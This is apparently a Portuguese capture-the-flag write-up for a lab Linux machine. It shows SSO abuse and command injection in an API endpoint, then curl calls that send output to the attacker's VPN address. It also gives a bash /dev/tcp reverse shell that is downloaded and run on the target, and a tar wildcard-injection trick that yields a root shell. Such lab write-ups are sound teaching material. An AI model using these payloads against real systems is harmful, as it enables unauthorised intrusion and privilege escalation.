Informações sobre a maquina:

Pontos: 100

Nível: Fácil

SO: Linux


Primeiramente fiz um breve scan de portas usando o nmap

**~$ nmap -Pn -sV 10.8.0.33**

PORT      STATE    SERVICE        VERSION
22/tcp    open     ssh            OpenSSH 7.4 (protocol 2.0)
80/tcp    open     http           Apache httpd 2.4.51 (() PHP/7.4.21)
111/tcp   open     rpcbind        2-4 (RPC #100000)
3306/tcp  open     mysql          MySQL 5.5.68-MariaDB

Depois das portas serem scaneadas, comecei o acesso web. Consegui identificar dois “sudomínios” reports.* e idp.*

reports.labdepentest.com.br

→ Ele tem um botão para fazer login com SSO que redireciona para o idp.labdepentest.com.br

idp.labdepentest.com.br

→ Está pedindo um email e senha para login, como não tenho, então me registrei

Untitled


→ Após me registar, voltei para a url reports.labdepentest.com.br e autorizei o login no Reports App.

Untitled


→ Após autorizar, fui redirecionado para uma pagina onde consta Title e Content, que basicamente é para criar report, tentei alguns XSS, mas nada deu certo e também não tinha nenhuma informação interessante. Então decidi olhar o código fonte e tinha algo bem legal lá

Untitled


→ Logo efetuei o logout e criei um novo usuário com o email [email protected] no idp.labdepentest.com.br

Untitled


→ Após criar o login, refiz todo o processo de autorização com Reports App e após autenticar tinha um report interessante falando sobre um endpoint /api/report-backup-service. Ele tem um bug, quando envia uma requisição GET retorna o stack trace da aplicação, e nele é possível ver uma parte do código fonte.

Untitled


→ Então vamos la acessar esse carinha.

GET: *http://reports.labdepentest.com.br/api/report-backup-service*

E temos aqui o nosso querido stack trace, com uma parte do código fonte dos endpoint das api's

Untitled


→ Analisando o código, podemos ver que existe um endpoint do tipo POST /kill-backup-service, que basicamente você passa um PID e depois executa um kill -9, interessante que não tem nenhum tratamento no que é passado na API, então é possível fazer um Command Injection. Vamos começar a brincadeira.

POST: *http://reports.labdepentest.com.br/api/kill-backup-service/90909090;id*

Postman

Postman


→ Bom, não trouxe nenhum resultado sobre o id. Então decidi fazer uma "gambiarra" provavelmente existe formas melhores de fazer isso, mas até o presente momento deu tudo certo.

Abri uma porta usando o nc -lnvp 8888 em seguida mandei a seguinte requisição usando o CURL

POST: http://reports.labdepentest.com.br/api/kill-backup-service/252525;curl [IP DA SUA VPN]:8888 -e "pwd"

Obs: Substituir aspas por crase ( ` )

~$ curl --help

	-e, --referer <URL> Referrer URL

Referer → https://developer.mozilla.org/pt-BR/docs/Web/HTTP/Headers/Referer

O cabeçalho de requisição HTTP Referer contém o endereço da página web anterior do qual a página atual requerida foi chamada. O Referer permite aos servidores identificar de onde as pessoas estão visitando eles e pode usar esses dados para análise, log e cacheamento otimizado, por exemplo.

→ E então tive o seguinte resultado…

**~$ nc -lnvp 8888**
Connection from 10.8.0.33:35332
GET / HTTP/1.1
User-Agent: curl/7.79.1
Accept: */*
**Referer: /var/www/reports.labdepentest.com.br/public**

→ Depois de comprovar que o Command Injection funcionou, tentei fazer uma revese shell usando algumas payloads que consegui em **revshells.com** mas nenhuma funcionou, não sei exatamente o porque. Então decidi criar um arquivo .sh com a payload e baixar na maquina via API.

vim rshell.sh

/bin/bash -i >& /dev/tcp/[IP DA SUA VPN]/[PORTA DA REVERSE SHELL] 0>&1

:wq!

→ Depois que criei minha reverse shell, iniciei um servidor web usando o php

php -S 0.0.0.0:8002 rshell.sh

→ Depois disso, você manda a seguinte requisição

POST: http://reports.labdepentest.com.br/api/kill-backup-service/252525;curl [IP DA SUAVPN]:8002 --output rshell.sh

Untitled


→ Pronto se tudo deu certo a payload de reverse shell está dentro da maquina. Agora você manda outra requisição "qualquer" somente para executar a payload

POST: http://reports.labdepentest.com.br/api/kill-backup-service/252525;curl [IP DA SUAVPN]:8002 -e "bash rshell.sh

Obs: Substituir aspas por crase ( ` )

→ E voilá, reverse shell concluída.

Untitled


→ Agora vamos escalar nosso privilegio. Podemos ver que na crontab temos um “script” executando de 1/1 minuto.

Untitled


→ Não veio nada na minha cabeça, então fiz uma breve pesquisa no google sobre como escalar privilégios com tar. Encontrei algo sobre Wildcard Injection TAR, nesse link explica um pouco o que é Wildcard Injection.

Privilege Escalation Using Wildcard Injection | Tar Wildcard Injection |


→ Vamos usar o exploit que foi passado no site acima com um toque especial. Vamos entrar no diretório onde roda o tar -zcf*(/var/www/idp.labdepentest.com.br/storage).*

Primeiramente vamos abrir a porta 2021 com nc -lnvp 2021. Depois que a porta estiver aberto, rode os seguintes comandos.

$ cd /var/www/idp.labdepentest.com.br/storage
$ echo "/bin/bash -i >& /dev/tcp/[IP VPN]/2021 0>&1" > shell.sh
$ echo "" > "--checkpoint-action=exec=sh shell.sh"
$ echo "" > --checkpoint=1

→ Agora é só aguardar a reverse shell com root. E está lá !

Untitled

Agora é só pegar a ultima flag e concluir a maquina !